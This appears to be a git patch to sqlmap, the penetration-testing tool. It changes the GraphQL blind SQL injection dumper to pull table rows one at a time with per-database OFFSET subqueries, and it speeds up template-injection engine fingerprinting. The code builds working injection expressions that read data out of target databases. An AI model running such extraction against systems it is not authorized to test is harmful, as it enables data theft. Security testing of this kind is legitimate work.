From 986933e7091e0420e0cf7de6f6ce2cb30a56ac6b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 12:04:08 +0200 Subject: [PATCH] Minor patches --- lib/core/settings.py | 2 +- lib/techniques/graphql/inject.py | 80 +++++++++++++++++++------------- lib/techniques/ssti/inject.py | 12 +++++ tests/test_graphql.py | 23 ++++----- tests/test_techniques.py | 15 ++++-- 5 files changed, 84 insertions(+), 48 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 935975bed..aaa47cec6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.67" +VERSION = "1.10.7.68" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index bdcdb619d..00e6abcf8 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -39,9 +39,14 @@ SENTINEL = randomStr(length=10, lowercase=True) # Maximum characters recovered for a single blind-inferred scalar (banner, user, table list, ...) MAX_LENGTH = 1024 -# Higher ceiling for a whole-table dump (its rows are concatenated into one scalar before extraction) +# Ceiling for a single row's concatenated cells (one row is extracted per request, so +# this need not hold a whole table; a GROUP_CONCAT of the whole table would be silently +# capped by the back-end - notably MySQL's group_concat_max_len=1024 - hence per-row). DUMP_MAX_LENGTH = 8192 +# Maximum number of rows dumped per table (bounds a runaway blind dump) +DUMP_MAX_ROWS = 1000 + # Printable-ASCII codepoint bounds for blind character inference CHAR_MIN = 0x20 CHAR_MAX = 0x7e @@ -49,9 +54,8 @@ CHAR_MAX = 0x7e # Number of independent predicates packed into a single aliased GraphQL document (batched inference) BATCH_SIZE = 40 -# Column/row separators woven into a GROUP_CONCAT/STRING_AGG table dump (printable, improbable in data) +# Cell separator woven into a per-row dump scalar (printable, improbable in data) COL_SEP = "~~~" -ROW_SEP = "^^^" # GraphQL scalar types mapped to injection strategy (None = skip) SCALAR_STRATEGY = { @@ -85,35 +89,35 @@ _inputFields = {} # established on a slot. `fingerprint` is a predicate true only on that back-end (it errors -> falsy # elsewhere). `length`/`ordinal` render a scalar-extraction sub-expression. `delay` wraps a condition # in an inline conditional sleep (None where the engine offers none, e.g. SQLite). `banner`/ -# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns`/`rows` build the -# per-table column list and a single-scalar dump of every row (cells joined COL_SEP, rows ROW_SEP). +# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns` builds the per-table +# column list and `row(columns, table, offset)` a single row's cells joined by COL_SEP. Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay", "banner", "currentUser", "currentDb", - "tables", "columns", "rows")) + "tables", "columns", "row")) -def _sqliteRows(columns, table): - cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns] - body = ("||'%s'||" % COL_SEP).join(cells) - return "(SELECT GROUP_CONCAT(%s,'%s') FROM %s)" % (body, ROW_SEP, table) +# A row is extracted one at a time by ordinal position (LIMIT/OFFSET). Concatenating +# the whole table into a single GROUP_CONCAT/STRING_AGG scalar would be silently +# truncated by the back-end (MySQL caps group_concat_max_len at 1024 bytes), dropping +# rows without warning; per-row extraction is unbounded and dialect-uniform. +def _sqliteRow(columns, table, offset): + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns) + return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset) -def _mysqlRows(columns, table): - cells = ["COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns] - body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join(cells)) - return "(SELECT GROUP_CONCAT(%s SEPARATOR '%s') FROM %s)" % (body, ROW_SEP, table) +def _mysqlRow(columns, table, offset): + body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join("COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns)) + return "(SELECT %s FROM %s LIMIT %d,1)" % (body, table, offset) -def _pgsqlRows(columns, table): - cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns] - body = ("||'%s'||" % COL_SEP).join(cells) - return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table) +def _pgsqlRow(columns, table, offset): + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns) + return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset) -def _mssqlRows(columns, table): - cells = ["COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns] - body = ("+'%s'+" % COL_SEP).join(cells) - return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table) +def _mssqlRow(columns, table, offset): + body = ("+'%s'+" % COL_SEP).join("COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns) + return "(SELECT %s FROM %s ORDER BY (SELECT NULL) OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY)" % (body, table, offset) DIALECTS = OrderedDict(( @@ -127,7 +131,7 @@ DIALECTS = OrderedDict(( currentDb=None, tables="(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%')", columns=lambda table: "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('%s'))" % table, - rows=_sqliteRows)), + row=_sqliteRow)), ("Microsoft SQL Server", Dialect( fingerprint="@@VERSION LIKE '%Microsoft%'", length=lambda expr: "LEN((%s))" % expr, @@ -138,7 +142,7 @@ DIALECTS = OrderedDict(( currentDb="DB_NAME()", tables="(SELECT STRING_AGG(name,',') FROM sys.tables)", columns=lambda table: "(SELECT STRING_AGG(name,',') FROM sys.columns WHERE object_id=OBJECT_ID('%s'))" % table, - rows=_mssqlRows)), + row=_mssqlRow)), ("PostgreSQL", Dialect( fingerprint="(SELECT version()) LIKE 'PostgreSQL%'", length=lambda expr: "LENGTH((%s))" % expr, @@ -149,7 +153,7 @@ DIALECTS = OrderedDict(( currentDb="CURRENT_DATABASE()", tables="(SELECT STRING_AGG(table_name,',') FROM information_schema.tables WHERE table_schema='public')", columns=lambda table: "(SELECT STRING_AGG(column_name,',') FROM information_schema.columns WHERE table_name='%s')" % table, - rows=_pgsqlRows)), + row=_pgsqlRow)), ("MySQL", Dialect( fingerprint="@@VERSION_COMMENT IS NOT NULL", length=lambda expr: "CHAR_LENGTH((%s))" % expr, @@ -160,7 +164,7 @@ DIALECTS = OrderedDict(( currentDb="DATABASE()", tables="(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())", columns=lambda table: "(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='%s')" % table, - rows=_mysqlRows)), + row=_mysqlRow)), )) @@ -904,18 +908,32 @@ def _inferrer(truth, truthBatch, dialect): def _dumpTable(infer, dialect, table): - # Enumerate a table's columns, then recover every row as one concatenated scalar - # and split it back into a (columns, rows) grid + # Enumerate a table's columns, then recover its rows ONE AT A TIME by ordinal + # position. A whole-table GROUP_CONCAT/STRING_AGG would be silently truncated by + # the back-end (e.g. MySQL group_concat_max_len=1024), dropping rows; per-row + # extraction has no such cap. columnsRaw = infer(dialect.columns(table)) columns = [_ for _ in (columnsRaw or "").split(",") if _] if not columns: return None - raw = infer(dialect.rows(columns, table), DUMP_MAX_LENGTH) + countRaw = infer("(SELECT COUNT(*) FROM %s)" % table) + try: + count = int((countRaw or "").strip()) + except ValueError: + count = 0 + rows = [] - for record in (raw or "").split(ROW_SEP) if raw else []: - cells = record.split(COL_SEP) + for offset in xrange(min(count, DUMP_MAX_ROWS)): + raw = infer(dialect.row(columns, table, offset), DUMP_MAX_LENGTH) + if raw is None: + continue + cells = raw.split(COL_SEP) rows.append((cells + [""] * len(columns))[:len(columns)]) + + if count > DUMP_MAX_ROWS: + logger.warning("table '%s' has %d rows; dumping the first %d (DUMP_MAX_ROWS cap)" % (table, count, DUMP_MAX_ROWS)) + return columns, rows diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index b16e157cd..d518ca1b8 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -482,6 +482,12 @@ def _familyUniquelyIdentifies(engine): return sum(e.family == engine.family for e in siblings) == 1 +# Delimiters shared by more than one engine in _ENGINE_TABLE; a match on any of these +# needs the full cross-engine comparison to disambiguate (Jinja2/Twig/Handlebars for +# "{{", Freemarker/SpringEL/Mako for "${"). Any other delimiter is unique to one engine. +_SHARED_DELIMITERS = frozenset(("{{", "${")) + + def _fingerprint(place, parameter): """Identify the template engine and confirm injection. Returns (engine, evidence) where evidence is a dict of detection results, or (None, None). @@ -532,6 +538,12 @@ def _fingerprint(place, parameter): bestEngine = engine bestEvidence = evidence + # A decisive arithmetic proof on an engine whose delimiter no other engine shares + # is unambiguous: stop scanning the remaining engines (all phases of THIS engine + # already ran, so its evidence is complete) instead of exhaustively testing all nine. + if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS: + break + if bestEngine and bestScore >= 3: # For engines with ambiguous delimiters (shared by multiple engines), # name a specific engine when: error fingerprint, distinguishing probe, diff --git a/tests/test_graphql.py b/tests/test_graphql.py index 506e8f102..c89469788 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -439,10 +439,10 @@ class TestGraphqlDialects(unittest.TestCase): self.assertEqual(d.length("x"), "LENGTH((x))") self.assertEqual(d.ordinal("x", 3), "UNICODE(SUBSTR((x),3,1))") - def test_sqlite_rows_handles_nulls(self): + def test_sqlite_row_handles_nulls(self): d = gi.DIALECTS["SQLite"] - sql = d.rows(["name", "surname"], "users") - self.assertIn("GROUP_CONCAT", sql) + sql = d.row(["name", "surname"], "users", 3) + self.assertIn("LIMIT 1 OFFSET 3", sql) # per-row, not a whole-table GROUP_CONCAT self.assertIn("COALESCE(CAST(name AS TEXT),'NULL')", sql) self.assertIn("FROM users", sql) @@ -529,7 +529,7 @@ def _mockOracle(target): tables=None, columns=None, length=lambda expr: "LEN(%s)" % expr, ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos), - rows=None) + row=None) def _value(cond): pos = None @@ -581,20 +581,21 @@ class TestGraphqlInference(unittest.TestCase): class TestGraphqlDumpTable(unittest.TestCase): - """Whole-table dump: column list + row scalar split back into a grid""" + """Whole-table dump: column list + COUNT(*) + one row-scalar per ordinal offset""" def test_dump_table(self): + d = gi.DIALECTS["SQLite"] responses = { - "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('users'))": "id,name", + d.columns("users"): "id,name", + "(SELECT COUNT(*) FROM users)": "2", + d.row(["id", "name"], "users", 0): "1~~~null", + d.row(["id", "name"], "users", 1): "2~~~luther", } - rowScalar = "1%snull^^^2%sluther" % ("~~~", "~~~") # two rows, two columns def infer(expr, maxLen=gi.MAX_LENGTH): - if expr in responses: - return responses[expr] - return rowScalar # the GROUP_CONCAT row dump + return responses.get(expr) - columns, rows = gi._dumpTable(infer, gi.DIALECTS["SQLite"], "users") + columns, rows = gi._dumpTable(infer, d, "users") self.assertEqual(columns, ["id", "name"]) self.assertEqual(rows, [["1", "null"], ["2", "luther"]]) diff --git a/tests/test_techniques.py b/tests/test_techniques.py index 239bc33f8..4e55ed674 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -1227,13 +1227,18 @@ class TestGraphqlDumpTable(unittest.TestCase): DIALECT = gql.DIALECTS["MySQL"] def test_dump_table_grid(self): - # infer() returns the column list for dialect.columns(table), then the concatenated - # rows scalar for dialect.rows(...). We map by which sub-expression is requested. - columns_expr = self.DIALECT.columns("users") - rows_value = gql.COL_SEP.join(("1", "alice")) + gql.ROW_SEP + gql.COL_SEP.join(("2", "bob")) + # infer() returns the column list for dialect.columns(table), the COUNT(*), then + # one COL_SEP-joined row scalar per ordinal offset (rows are dumped individually + # to avoid the back-end's GROUP_CONCAT truncation). + responses = { + self.DIALECT.columns("users"): "id,name", + "(SELECT COUNT(*) FROM users)": "2", + self.DIALECT.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")), + self.DIALECT.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")), + } def infer(expr, maxLen=gql.MAX_LENGTH): - return "id,name" if expr == columns_expr else rows_value + return responses.get(expr) columns, rows = gql._dumpTable(infer, self.DIALECT, "users") self.assertEqual(columns, ["id", "name"])